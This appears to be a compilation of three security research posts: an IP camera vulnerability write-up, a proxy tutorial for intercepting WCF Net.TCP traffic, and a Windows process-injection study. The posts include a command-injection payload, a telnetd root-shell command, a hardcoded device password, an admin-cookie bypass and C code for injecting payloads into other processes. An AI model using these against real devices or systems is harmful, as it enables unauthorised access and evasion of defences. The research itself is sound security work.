Achieving remote code execution on a Chinese IP camera

Original text by Maurits van Altvorst


Cheap Chinese Internet of Things devices are on the rise. Unfortunately, security on these devices is often an afterthought. I recently got my hands on an “Alecto DVC-155IP” IP camera. It has Wi-Fi, night vision, two-axis tilt and yaw control, motion sensing and more. My expectations regarding security were low, but this camera was still able to surprise me.

The Alecto DVC-155IP

Setting up the camera

Setting up the camera using the app was a breeze. I had to enter my Wi-Fi details, a name for the camera and a password. Nothing too interesting so far.

Using Nmap on the camera gave me the following results:

➜  ~ nmap -A
Starting Nmap 7.70 ( ) at 2019-02-09 12:59 CET
Nmap scan report for
Host is up (0.010s latency).
Not shown: 997 closed ports
23/tcp  open  telnet  BusyBox telnetd
80/tcp  open  http    thttpd 2.25b 29dec2003
|_http-server-header: thttpd/2.25b 29dec2003
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
554/tcp open  rtsp    HiLinux IP camera rtspd V100R003 (VodServer 1.0.0)
Service Info: Host: RT-IPC; Device: webcam

Three open ports: 23, 80 and 554. Surprisingly, port 23 doesn’t get mentioned anywhere in the manual. Is this some debug port from the manufacturer, or a backdoor from the Chinese government? After manually testing a few passwords via telnet I moved on.

When I connected to the admin panel — accessible on port 80 — I was greeted with a standard login screen that prompts the user for a username and password.

The first step I took was opening the Chrome developer tab. This allows you to inspect the network requests that Chrome made while visiting a website. I saw that there were a lot of requests being made for a simple login page.

The Chrome developer tab

My eye quickly fell on a specific request: /cgi-bin/hi3510/snap.cgi?&-getstream&-chn=2Hmm, “getstream”, I wonder what happens if I open this in another tab…

An unauthenticated live view of the camera

Within 2 minutes I’ve gained unauthenticated access to the live view of the camera. I knew that cheap Chinese cameras weren’t secure, but I didn’t expect it was this bad.

Other observations

While looking through the network requests, I noticed some more notable endpoints:

  • You are able to get the Wi-Fi SSID, BSSID, and password from the network the camera is connected to by visiting /cgi-bin/getwifiattr.cgi. This allows you to retrieve the location of the camera via a service such as
  • You are able to set the camera’s internal time via/cgi-bin/hi3510/setservertime.cgi?-time=YYYY.MM.DD.HH.MM.SS&-utc. I’m not sure if this opens up any attack vectors, but it’s interesting nonetheless. It might be possible to do some interesting things by sending invalid times or big strings, but I don’t want to risk bricking my camera testing this.
  • You are able to get the camera’s password via /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get. Of course, you don’t even need the password to log in. Just set the “AuthLevel” cookie to 255 and you instantly get admin access.
  • You are able to get the serial number, hardware revision, uptime, and storage info via /web/cgi-bin/hi3510/param.cgi?cmd=getserverinfo

All of these requests are unauthenticated.

Remote code execution

Let’s take another look at the requests made on the login page. You can see a lot of “.cgi” requests. CGI-files are “Common Gateway Interface” files. They are executable scripts used in web servers to dynamically create web pages. Because they’re often based on bash scripts, I started focusing on these requests first because I thought I might find an endpoint susceptible to bash code injection.

To find out if a .cgi endpoint was vulnerable, I tried substituting some request parameters with $(sleep 3). When I tried /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=$(sleep 3), it took a suspiciously long time before I got back my response. To confirm that I can execute bash code, I opened Wireshark on my laptop and sent the following payload to the camera:

$(ping -c2

And sure enough, I saw two ICMP requests appear on my laptop.

Two ping requests in Wireshark

But surely, nobody in their right mind would connect such a cheap, insecure IP camera directly to the internet, right?

Vulnerable IP cameras via

That’s 710 Alecto DVC-155IP cameras connected to the internet that disclose their Wi-Fi details (which means that I can figure out its location by using a service such, allow anyone to view their live stream and are vulnerable to RCE. And this is just their DVC-155IP model, Alecto manufactures many different IP cameras each running the same software.

Returning to port 23

Now that I’m able to run commands, it’s time to return to the mysterious port 23. Unfortunately, I’m not able to get any output from the commands I execute. Using netcat to send the output of the commands I executed also didn’t work for some reason.

After spending way too much time without progress, this was the command that did the trick:

telnetd -l/bin/sh -p9999

This starts a telnet server on port 9999. And sure enough, after connecting to it I was greeted with an unauthenticated root shell.

Reading /etc/passwd gave me the following output:


I didn’t even have to start Hashcat for this one: a quick Google search of the hash was all I needed to find that the password of the mysterious backdoor port was cat1029.

Yes, the password to probably thousands of IP cameras on the internet is cat1029. And the worst part is that there’s no possible way to change this password anywhere in the typical user interface.

Contacting the manufacturer

When I contacted Alecto with my findings, they told me they weren’t able to solve these problems because they didn’t create the software for their devices. After a quick Shodan search I found that there were also internet connected cameras from other brands, such as Foscam and DIGITUS, that had these vulnerabilities. Their user interfaces look different, but they were susceptible to the same exact vulnerabilities via the same exact endpoints.

It seems that these IP cameras are manufactured by a Chinese company in bulk (OEM). Other companies like Alecto, Foscam, and DIGITUS, resell them with slightly modified firmware and custom branding. A vulnerability in the Chinese manufacturer’s software means that all of its children companies are vulnerable too. Unfortunately, I don’t think that the Chinese OEM manufacturer will do much about these vulnerabilities. I guess that the phrase “The S in IoT stands for security” is true after all.


Pentesting Webservices with Net.TCP Binding

Original text

Hi all,

Most of you that are  pentesters  may have already tested plenty of webservices using SOAP (Simple Object Access Protocol)for communication. Typically, such SOAP messages are transferred over HTTP (Hypertext Transfer Protocol) and are encapsulated in XML (Extensible Markup Language). Microsoft has developed different representations of this protocols to reduce the network load. As these representations/protocols aren’t really covered by typical tools out there, this post will show you some of them, and a proxy which can be used to simplify the testing.

A typical SOAP request over HTTP looks like the one you’ll find below.

POST http://localhost/Service1 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/soap+xml;charset=UTF-8;action=""
Content-Length: 440
Host: localhost
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

<soap:Envelope xmlns:soap=""
   <soap:Header xmlns:wsa="">

This also results in a typical XML based response:

HTTP/1.1 200 OK
Content-Length: 542
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 28 Jul 2016 11:13:31 GMT

<s:Envelope xmlns:s=""
        <a:Action s:mustUnderstand="1"></a:Action>
        <ActivityId CorrelationId="ed341f95-b902-45bd-81fd-37419a72cd44"
        <GetDataResponse xmlns="">
            <GetDataResult>You entered: 12345</GetDataResult>

Let’s see which protocols are used here… First of all, we’ve the link layer (ethernet most of the time), second the internet layer (IPv4|IPv6), next comes TCP, optionally TLS, now HTTP, and finally SOAP. As you may notice, SOAP and HTTP especially introduce a lot of repetitive data and speaking identifiers. This is great for humans, but bad in the case of network load. One of the optimizations done by Microsoft  in the WCF (Windows Communication Foundation) library was the .Net Binary Format: XML Data Structure [MC-NBFX] and based on that [MC-NBFS] and [MC-NBFSE] for SOAP. Some of the long time readers might remember that I’d already written a library for de- and encoding of this binary representation back in 2011(meanwhile also published on github). With this library, you’re able to read and modify requests and responses from webservices which do not support the XML based encoding. The same request from above could be represented in NBFS:

POST http://localhost/Service1 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/soap+msbin1;charset=UTF-8;action=""
Content-Length: 228
Host: localhost
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

       soap	tem

or as displayed in a hex viewer:

00000000: 4304 736f 6170 020b 0473 6f61 7004 0903  C.soap...soap...
00000010: 7465 6d13 6874 7470 3a2f 2f74 656d 7075  tem.http://tempu
00000020: 7269 2e6f 7267 2f43 0473 6f61 7008 0b03
00000030: 7773 6106 4303 7773 610a b748 6800 7400  wsa.C.wsa..Hh.t.
00000040: 7400 7000 3a00 2f00 2f00 7400 6500 6d00  t.p.:././.t.e.m.
00000050: 7000 7500 7200 6900 2e00 6f00 7200 6700  p.u.r.i...o.r.g.
00000060: 2f00 4900 5300 6500 7200 7600 6900 6300  /.I.S.e.r.v.i.c.
00000070: 6500 3100 2f00 4700 6500 7400 4400 6100  e.1./.G.e.t.D.a.
00000080: 7400 6100 4303 7773 610c b732 6800 7400  t.a.C.wsa..2h.t.
00000090: 7400 7000 3a00 2f00 2f00 6c00 6f00 6300  t.p.:././.l.o.c.
000000a0: 6100 6c00 6800 6f00 7300 7400 2f00 5300  a.l.h.o.s.t./.S.
000000b0: 6500 7200 7600 6900 6300 6500 3100 0143  e.r.v.i.c.e.1..C
000000c0: 0473 6f61 700e 4103 7465 6d07 4765 7444  .soap.A.tem.GetD
000000d0: 6174 6141 0374 656d 0576 616c 7565 8b39  ataA.tem.value.9
000000e0: 3001 0101                                0...

As you may notice, some of the xml tag names are gone as for example Envelope, Header or Body. This is because MC-NBFS uses a predefined dictionary to represent most of the strings occurring in SOAP messages by a one or two byte value (if you are interested how the dictionary looks like:

If it is still transported over HTTP, you’re done and fully able to test and interact with the webservice as if it was communicating over XML-SOAP.

During your tests, you may find a client which is communicating with a webservice, but not over HTTP and it’s not using SOAP (but something which looks like the NBF above). This is typically the same type of webservice, but this time it does not use the so called HTTP-binding, but the Net.TCP one. This binding is used by WCF applications to remove the parsing overhead of HTTP and add more reliability. It is based on the .NET Message Framing Protocol [MC-NMF] and is defined in [MS-NMTFB]. It’s packets follow a type-value format:

 0                   1                   2                   3  
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|  RecordType   |                                               

This protocol runs on top of TCP and does some sort of handshake which specifies the used transport encoding (typically NBFSE), the targeted service and an optional transport encryption/protection.

00000000  0001 0001 0202 246e 6574 2e74 6370 3a2f ......$net.tcp:/
00000010  2f31 3932 2e31 3638 2e35 362e 313a 3835 /
00000020  3233 2f53 6572 7669 6365 3103 080c      23/Service1...
    00000000  0b                                               .
0000002E  06b0 016c 2468 7474 703a 2f2f 7465 6d70 ...l$http://temp
0000003E  7572 692e 6f72 672f 4953 6572 7669 6365
0000004E  312f 4765 7444 6174 6124 6e65 742e 7463 1/GetData$
0000005E  703a 2f2f 3139 322e 3136 382e 3536 2e31 p://
0000006E  3a38 3532 332f 5365 7276 6963 6531 0747 :8523/Service1.G
0000007E  6574 4461 7461 1368 7474 703a 2f2f 7465 etData.http://te
0000008E  6d70 7572 692e 6f72 672f 0576 616c 7565
0000009E  5602 0b01 7304 0b01 6106 5608 440a 1e00 V...s...a.V.D...
000000AE  82ab 0144 1aad 9ddf 13ad aa57 0140 8fe2 ...D.......W.@..
000000BE  2830 d9d9 e8e7 442c 442a ab14 0144 0c1e (0....D,D*...D..
000000CE  0082 ab03 0156 0e42 050a 0742 098b 3905 .....V.B...B..9.
000000DE  0101 01                                 ...
    00000001  06bd 025f 2c68 7474 703a 2f2f 7465 6d70 ..._,http://temp
    00000011  7572 692e 6f72 672f 4953 6572 7669 6365
    00000021  312f 4765 7444 6174 6152 6573 706f 6e73 1/GetDataRespons
    00000031  650f 4765 7444 6174 6152 6573 706f 6e73 e.GetDataRespons
    00000041  6513 6874 7470 3a2f 2f74 656d 7075 7269 e.http://tempuri
    00000051  2e6f 7267 2f0d 4765 7444 6174 6152 6573 .org/.GetDataRes
    00000061  756c 7456 020b 0173 040b 0161 0656 0844 ultV...s...a.V.D
    00000071  0a1e 0082 ab01 400a 4163 7469 7669 7479 ......@.Activity
    00000081  4964 040d 436f 7272 656c 6174 696f 6e49 Id..CorrelationI
    00000091  6498 2436 3038 3538 3730 642d 3835 3264 d.$6085870d852d
    000000A1  2d34 6236 322d 3931 6437 2d61 3563 6334 -4b6291d7a5cc4
    000000B1  3530 3361 3635 3808 3d68 7474 703a 2f2f 503a658.=http://
    000000C1  7363 6865 6d61 732e 6d69 6372 6f73 6f66 schemas.microsof
    000000D1  742e 636f 6d2f 3230 3034 2f30 392f 5365
    000000E1  7276 6963 654d 6f64 656c 2f44 6961 676e rviceModel/Diagn
    000000F1  6f73 7469 6373 b167 9317 e29b 145e 4685 ostics.g.....^F.
    00000101  3657 8293 1d6b 8644 12ad 9ddf 13ad aa57 6W...k.D.......W
    00000111  0140 8fe2 2830 d9d9 e8e7 440c 1e00 82ab .@..(0....D.....
    00000121  1401 560e 4203 0a05 4207 9911 596f 7520 ..V.B...B...You 
    00000131  656e 7465 7265 643a 2031 3333 3701 0101 entered: 1337...
000000E1  0642 0056 020b 0173 040b 0161 0656 0844 .B.V...s...a.V.D
000000F1  0a1e 0082 ab01 441a adf8 4321 1e83 4c8f ......D...C!..L.
00000101  4e8f 0ce4 7db9 cf3a 6744 2c44 2aab 1401 N...}..:gD,D*...
00000111  440c 1e00 82ab 0301 560e 4205 0a07 4209 D.......V.B...B.
00000121  8101 0101                               ....
    00000141  06db 0100 5602 0b01 7304 0b01 6106 5608 ....V...s...a.V.
    00000151  440a 1e00 82ab 0140 0a41 6374 6976 6974 D......@.Activit
    00000161  7949 6404 0d43 6f72 7265 6c61 7469 6f6e yId..Correlation
    00000171  4964 9824 3639 3837 3737 6665 2d65 3637 Id.$6987 77fee67
    00000181  322d 3461 6332 2d62 3163 642d 6239 6237 2-4ac2b1cdb9b7
    00000191  3464 3134 3739 6538 083d 6874 7470 3a2f 4d1479e8.=http:/
    000001A1  2f73 6368 656d 6173 2e6d 6963 726f 736f /schemas .microso
    000001B1  6674 2e63 6f6d 2f32 3030 342f 3039 2f53
    000001C1  6572 7669 6365 4d6f 6465 6c2f 4469 6167 erviceModel/Diag
    000001D1  6e6f 7374 6963 73b1 bef9 db6d 9c99 8b4e nostics....m...N
    000001E1  9a14 0ebf 2d69 41a2 4412 adf8 4321 1e83 ....-iA.D...C!..
    000001F1  4c8f 4e8f 0ce4 7db9 cf3a 6744 0c1e 0082 L.N...}..:gD....
    00000201  ab14 0156 0e42 030a 0542 0799 0e59 6f75 ...V.B...B...You
    00000211  2065 6e74 6572 6564 3a20 3001 0101       entered: 0...
00000125  07                                               .
    0000021F  07                                               .

The first 32 bytes in the capture could be decoded as:

VersionRecord(Major=1, Minor=0)
ViaRecord(Length=0x24, Via="net.tcp://")

Note: BINARY_DICT means MC-NBFSE in this case.

The server acknowledges the connection (0xb) and the actual messages are transferred in the specified encoding (BINARY_DICT), encapsulated in an additional message which prefixes the data with the data length. As you may see, the data sent to server in the second request (the part at 0xE1 to 0x121) is much smaller than the first one. This is because MC-NBFSE defines that a custom dictionary is transfered at the beginning of the first request. All subsequent requests will use this extended dictionary and will transfer only the identifiers (the same applies to the responses).

With this knowledge, you’ll be  able to, at least, extract the requests and responses and decode them with my wcfbin library. But as I noted before, the NMF protocol allows to establish a secured connection. This could be either done by TLS or by GSSAPI. If one of them is used, you’ll be unable to view nor modify the SOAP calls between a client and a server. Additionally, if you’ve the client software and the server requires to authenticate via GSSAPI (Kerberos) and your machine is not part of the domain, it’ll be rather difficult to convince the client software to authenticate with the correct credentials, as this is completely done in the background.

But luckily (especially if we have the client under our control) we can implement a proxy between the client and the server, which would

  1. decode and display the transferred messages
  2. establish a secured connection to the server while the connection to the client is unsecured (like sslstrip)
  3. can be adjusted to modify requests/responses on the fly to bypass some client side restrictions

So lets see how a a proxied connection would look like. First of all, you’ll need the library itself (you can find it here). To install it with pip, just run:

pip install git+

If you like to have some colorful hexdumps you’ll also need my utility library:

pip install git+

If you want to connect to a webservice using kerberos authentication (more on this later), gssapi is also required (python2 only!):

pip install gssapi

After installation, you’ll find 3 scripts in your binary folder:, and

The decode-* scripts can be used to decode trace files which are generated by the proxy (you’ll need the wcfbin decoder mentioned above for the decode-wcfbin script). To generate such trace files (and view the traffic between a client and a server) you can use the nettcp-proxy script as follows: -b <ip address to bind to> -p <port to bind to> -t <name of the tracefile> <serverip> <serverport>

The result can be seen in the following asciicast (you may want to reduce the playing speed (“<” key) as the output comes fast)

If you want to connect to a webservice which is using the negotiate protocol, some additional steps are required. First you’ll need the krb5 library and the gssapi python bindings (mentioned above). Second, you’ll have to configure the krb library to authenticate against the KDC of the domain. If you’re lucky, a

kinit user@domain

is enough (you’ll be prompted for the user password and the klist command will show a obtained ticket). If not, you’ll need to specify the target KDC in the krb5.conf file:

default = STDERR

ticket_lifetime = 24h
clock-skew = 300
default_realm = test.local
dns_lookup_realm = true
dns_lookup_kdc = true
forwardable = true
renew_lifetime = 7d

  kdc =
  admin_server =

foodomain = FOODOMAIN

(adjust the FOODOMAIN and the ips according to your environment).

The next thing you need is a ticket for the target system (the actual service name might be different):

kvno host@service.domain

In the last step, the client has to be configured to not use any transport level authentication. This could be done by adjusting the *.config file which typically comes with such clients:

<?xml version="1.0" encoding="utf-8" ?>
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
                <binding name="NetTcpBinding_IService1">
                    <security mode="None" />
            <endpoint address="net.tcp://" binding="netTcpBinding"
                bindingConfiguration="NetTcpBinding_IService1" contract="ServiceReference1.IService1"
                    <dns value="localhost" />

The important part here is the <security mode="None" /> which has to be assigned to the specific endpoint (by using the <binding name parameter and the <endpoint bindingConfiguration parameter).

Last but not least you use the nettcp-proxy script as before but additionally specify the service name used with krb5: -b <ip address to bind to> -p <port to bind to> -t <name of the tracefile> -n host@service.domain <serverip> <serverport>

That’s all folks. You are now able to view and decode requests going from clients to webservices over the nettcp binding. Additionally, you can use the library to inject your own requests by either doing it directly in python or by connecting to the proxy and let him do the authentication stuff.

That’s it, if you have any questions don’t hesitate to ask, if you find any bugs feel free to report it at github or (even better) fix it right away.

Best & happy hacking,


Windows Process Injection: Sharing the payload

Original text


The last post discussed some of the problems when writing a payload for process injection. The purpose of this post is to discuss deploying the payload into the memory space of a target process for execution. One can use conventional Win32 API for this task that some of you will already be familiar with, but there’s also the potential to be creative using unconventional approaches. For example, we can use API to perform read and write operations they weren’t originally intended for, that might help evade detection. There are various ways to deploy and execute a payload, but not all are simple to use. Let’s first focus on the conventional API that despite being relatively easy to detect are still popular among threat actors.

Below is a screenshot of VMMap from sysinternals showing the types of memory allocated for the system I’ll be working on (Windows 10). Some of this memory has the potential to be used for storage of a payload.

Allocating virtual memory

Each process has its own virtual address space. Shared memory exists between processes, but in general, process A should not be able to view the virtual memory of process B without assistance from the Kernel. The Kernel can of course see the virtual memory of all processes because it has to perform virtual to physical memory translation. Process A can allocate new virtual memory in the address space of process B using Virtual Memory API that is then handled internally by the Kernel. Some of you may be familiar with the following steps to deploy a payload in virtual memory of another process.

  1. Open a target process using OpenProcess or NtOpenProcess.
  2. Allocate eXecute-Read-Write (XRW) memory in a target process using VirtualAllocEx or NtAllocateVirtualMemory.
  3. Copy a payload to the new memory using WriteProcessMemory or NtWriteVirtualMemory.
  4. Execute payload.
  5. De-allocate XRW memory in target process using VirtualFreeEx or NtFreeVirtualMemory.
  6. Close target process handle with CloseHandle or NtClose.

Using the Win32 API. This only shows the allocation of XRW memory and writing the payload to new memory.

PVOID CopyPayload1(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID ptr=NULL;
    SIZE_T tmp;
    // 1. allocate memory
    ptr = VirtualAllocEx(hp, NULL, 
      payloadSize, MEM_COMMIT|MEM_RESERVE,
    // 2. write payload
    WriteProcessMemory(hp, ptr, 
      payload, payloadSize, &tmp);
    return ptr;

Alternatively using the Nt/Zw API.

LPVOID CopyPayload2(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID   ptr=NULL;
    ULONG    len=payloadSize;
    NTSTATUS nt;
    ULONG    tmp;
    // 1. allocate memory
    NtAllocateVirtualMemory(hp, &ptr, 0, 
    // 2. write payload
    NtWriteVirtualMemory(hp, ptr, 
      payload, payloadSize, &tmp);
    return ptr;

Although not shown here, an additional operation to remove Write permissions of the virtual memory might be used.

Create a section object

Another way is using section objects. What does Microsoft say about them?

A section object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.

Although the use of these API in a regular application is an indication of something malicious, threat actors will continue to use them for process injection.

  1. Create a new section object using NtCreateSection and assign to S.
  2. Map a view of S for attacking process using NtMapViewOfSection and assign to B1.
  3. Map a view of S for target process using NtMapViewOfSection and assign to B2.
  4. Copy a payload to B1.
  5. Unmap B1.
  6. Close S
  7. Return pointer to B2.
LPVOID CopyPayload3(HANDLE hp, LPVOID payload, ULONG payloadSize){
    HANDLE        s;
    LPVOID        ba1=NULL, ba2=NULL;
    ULONG         vs=0;

    li.HighPart = 0;
    li.LowPart  = payloadSize;
    // 1. create a new section
    NtCreateSection(&s, SECTION_ALL_ACCESS, 

    // 2. map view of section for current process
    NtMapViewOfSection(s, GetCurrentProcess(),
      &ba1, 0, 0, 0, &vs, ViewShare,
    // 3. map view of section for target process  
    NtMapViewOfSection(s, hp, &ba2, 0, 0, 0, 
      &vs, ViewShare, 0, PAGE_EXECUTE_READWRITE); 
    // 4. copy payload to section of memory
    memcpy(ba1, payload, payloadSize);

    // 5. unmap memory in the current process
    ZwUnmapViewOfSection(GetCurrentProcess(), ba1);
    // 6. close section
    // 7. return pointer to payload in target process space
    return (PBYTE)ba2;

Using an existing section object and ROP chain

The Powerloader malware used existing shared objects created by explorer.exe to store a payload, but due to permissions of the object (Read-Write) could not directly execute the code without the use of a Return Oriented Programming (ROP) chain. It’s possible to copy a payload to the memory, but not to execute it without some additional trickery.

The following section names were used by PowerLoader for code injection.

  1. Open existing section of memory in target process using NtOpenSection
  2. Map view of section using NtMapViewOfSection
  3. Copy payload to memory
  4. Use a ROP chain to execute

UI Shared Memory

enSilo demonstrated with PowerLoaderEx using UI shared memory for process execution. Injection on Steroids: Codeless code injection and 0-day techniques provides more details of how it works. It uses the desktop heap for injecting the payload into explorer.exe.

Reading a Desktop Heap Overview over at MSDN, we can see there’s already shared memory between processes for the User Interface.

Every desktop object has a single desktop heap associated with it. The desktop heap stores certain user interface objects, such as windows, menus, and hooks. When an application requires a user interface object, functions within user32.dll are called to allocate those objects. If an application does not depend on user32.dll, it does not consume desktop heap.

Using a code cave

Host Intrusion Prevention Systems (HIPS) will regard the use of VirtualAllocEx/WriteProcessMemory as suspicious activity, and this is likely why the authors of PowerLoader used existing section objects. PowerLoader likely inspired the authors behind AtomBombing to use a code cave in a Dynamic-link Library (DLL) for storing a payload and using a ROP chain for execution.

AtomBombing uses a combination of GlobalAddAtomGlobalGetAtomName and NtQueueApcThread to deploy a payload into a target process. The execution is accomplished using a ROP chain and SetThreadContext. What other ways could one deploy a payload without using the standard approach?

Interprocess Communication (IPC) can be used to share data with another process. Some of the ways this can be achieved include:

  • Clipboard (WM_PASTE)
  • Data Copy (WM_COPYDATA)
  • Named pipes
  • Component Object Model (COM)
  • Remote Procedure Call (RPC)
  • Dynamic Data Exchange (DDE)

For the purpose of this post, I decided to examine WM_COPYDATA, but in hindsight, I think COM might be a better line of enquiry.

Data can be legitimately shared between GUI processes via the WM_COPYDATA message, but can it be used for process injection?. SendMessage and PostMessage are two such APIs that can be used to write data into a remote process space without explicitly opening the target process and copying data there using Virtual Memory API.

Kernel Attacks through User-Mode Callbacks presented at Blackhat 2011 by Tarjei Mandt, lead me to examine the potential for using the KernelCallbackTable located in the Process Environment Block (PEB) for process injection. This field is initialized to an array of functions when user32.dll is loaded into a GUI process and this is where I initially started looking after learning how window messages are dispatched by the kernel.

With WinDbg attached to notepad, obtain the address of the PEB.

0:001> !peb
PEB at 0000009832e49000

Dumping this in the windows debugger shows the following details. What we’re interested in here is the KernelCallbackTable, so I’ve stripped out most of the fields.

0:001> dt !_PEB 0000009832e49000
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
	// details stripped out
   +0x050 ReservedBits0    : 0y0000000000000000000000000 (0)
   +0x054 Padding1         : [4]  ""
   +0x058 KernelCallbackTable : 0x00007ffd6afc3070 Void
   +0x058 UserSharedInfoPtr : 0x00007ffd6afc3070 Void

If we dump the address 0x00007ffd6afc3070 using the dump symbol command, we see a reference to USER32!apfnDispatch.

0:001> dps $peb+58
0000009832e49058  00007ffd6afc3070 USER32!apfnDispatch
0000009832e49060  0000000000000000
0000009832e49068  0000029258490000
0000009832e49070  0000000000000000
0000009832e49078  00007ffd6c0fc2e0 ntdll!TlsBitMap
0000009832e49080  000003ffffffffff
0000009832e49088  00007df45c6a0000
0000009832e49090  0000000000000000
0000009832e49098  00007df45c6a0730
0000009832e490a0  00007df55e7d0000
0000009832e490a8  00007df55e7e0228
0000009832e490b0  00007df55e7f0650
0000009832e490b8  0000000000000001
0000009832e490c0  ffffe86d079b8000
0000009832e490c8  0000000000100000
0000009832e490d0  0000000000002000

Closer inspection of USER32!apfnDispatch reveals an array of functions.

0:001> dps USER32!apfnDispatch

00007ffd6afc3070  00007ffd6af62bd0 USER32!_fnCOPYDATA
00007ffd6afc3078  00007ffd6afbae70 USER32!_fnCOPYGLOBALDATA
00007ffd6afc3080  00007ffd6af60420 USER32!_fnDWORD
00007ffd6afc3088  00007ffd6af65680 USER32!_fnNCDESTROY
00007ffd6afc3090  00007ffd6af696a0 USER32!_fnDWORDOPTINLPMSG
00007ffd6afc3098  00007ffd6afbb4a0 USER32!_fnINOUTDRAG
00007ffd6afc30a0  00007ffd6af65d40 USER32!_fnGETTEXTLENGTHS
00007ffd6afc30a8  00007ffd6afbb220 USER32!_fnINCNTOUTSTRING
00007ffd6afc30b0  00007ffd6afbb750 USER32!_fnINCNTOUTSTRINGNULL
00007ffd6afc30b8  00007ffd6af675c0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffd6afc30c0  00007ffd6af641f0 USER32!__fnINLPCREATESTRUCT
00007ffd6afc30c8  00007ffd6afbb2e0 USER32!_fnINLPDELETEITEMSTRUCT
00007ffd6afc30d0  00007ffd6af6bc00 USER32!__fnINLPDRAWITEMSTRUCT
00007ffd6afc30d8  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e0  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e8  00007ffd6afbb430 USER32!_fnINLPMDICREATESTRUCT

The first function, USER32!_fnCOPYDATA, is called when process A sends the WM_COPYDATA message to a window belonging to process B. The kernel will dispatch the message, including other parameters to the target window handle, that will be handled by the windows procedure associated with it.

0:001> u USER32!_fnCOPYDATA
00007ffd6af62bd0 4883ec58        sub     rsp,58h
00007ffd6af62bd4 33c0            xor     eax,eax
00007ffd6af62bd6 4c8bd1          mov     r10,rcx
00007ffd6af62bd9 89442438        mov     dword ptr [rsp+38h],eax
00007ffd6af62bdd 4889442440      mov     qword ptr [rsp+40h],rax
00007ffd6af62be2 394108          cmp     dword ptr [rcx+8],eax
00007ffd6af62be5 740b            je      USER32!_fnCOPYDATA+0x22 (00007ffd6af62bf2)
00007ffd6af62be7 48394120        cmp     qword ptr [rcx+20h],rax

Set a breakpoint on this function and continue execution.

0:001> bp USER32!_fnCOPYDATA
0:001> g

The following piece of code will send the WM_COPYDATA message to notepad. Compile and run it.

int main(void){
  HWND           hw;
  WCHAR          msg[]=L"I don't know what to say!\n";
  hw = FindWindowEx(0,0,L"Notepad",0);
    cds.dwData = 1;
    cds.cbData = lstrlen(msg)*2;
    cds.lpData = msg;
    // copy data to notepad memory space
    SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
  return 0;

Once this code executes, it will attempt to find the window handle of Notepad before sending it the WM_COPYDATA message, and this will trigger our breakpoint in the debugger. The call stack shows where the call originated from, in this case it’s from KiUserCallbackDispatcherContinue. Based on the calling convention, the arguments are placed in RCX, RDX, R8 and R9.

Breakpoint 0 hit
00007ffd6af62bd0 4883ec58        sub     rsp,58h
0:000> k
 # Child-SP          RetAddr           Call Site
00 0000009832caf618 00007ffd6c03dbc4 USER32!_fnCOPYDATA
01 0000009832caf620 00007ffd688d1144 ntdll!KiUserCallbackDispatcherContinue
02 0000009832caf728 00007ffd6af61b0b win32u!NtUserGetMessage+0x14
03 0000009832caf730 00007ff79cc13bed USER32!GetMessageW+0x2b
04 0000009832caf790 00007ff79cc29333 notepad!WinMain+0x291
05 0000009832caf890 00007ffd6bb23034 notepad!__mainCRTStartup+0x19f
06 0000009832caf950 00007ffd6c011431 KERNEL32!BaseThreadInitThunk+0x14
07 0000009832caf980 0000000000000000 ntdll!RtlUserThreadStart+0x21

0:000> r
rax=00007ffd6af62bd0 rbx=0000000000000000 rcx=0000009832caf678
rdx=00000000000000b0 rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62bd0 rsp=0000009832caf618 rbp=0000009832caf829
 r8=0000000000000000  r9=00007ffd6afc3070 r10=0000000000000000
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
00007ffd6af62bd0 4883ec58        sub     rsp,58h

Dumping the contents of first parameter in the RCX register shows some recognizable data sent by the example program. notepad!NPWndProc is obviously the callback procedure associated with the target window receiving WM_COPYDATA.

0:000> dps rcx
0000009832caf678  00000038000000b0
0000009832caf680  0000000000000001
0000009832caf688  0000000000000000
0000009832caf690  0000000000000070
0000009832caf698  0000000000000000
0000009832caf6a0  0000029258bbc070
0000009832caf6a8  000000000000004a       // WM_COPYDATA
0000009832caf6b0  00000000000c072e
0000009832caf6b8  0000000000000001
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000000000000078
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049

The structure passed to fnCOPYDATA isn’t part of the debugging symbols, but here’s what we’re looking at.

typedef struct _CAPTUREBUF {
    DWORD cbCallback;
    DWORD cbCapture;
    DWORD cCapturedPointers;
    PBYTE pbFree;              
    DWORD offPointers;
    PVOID pvVirtualAddress;

typedef struct _FNCOPYDATAMSG {
    CAPTUREBUF     CaptureBuf;
    PWND           pwnd;
    UINT           msg;
    HWND           hwndFrom;
    BOOL           fDataPresent;
    ULONG_PTR      xParam;
    PROC           xpfnProc;

Continue to single-step (t) through the code and examine the contents of the registers.

0:000> r
rax=00007ffd6c039da0 rbx=0000000000000000 rcx=00007ff79cc131b0
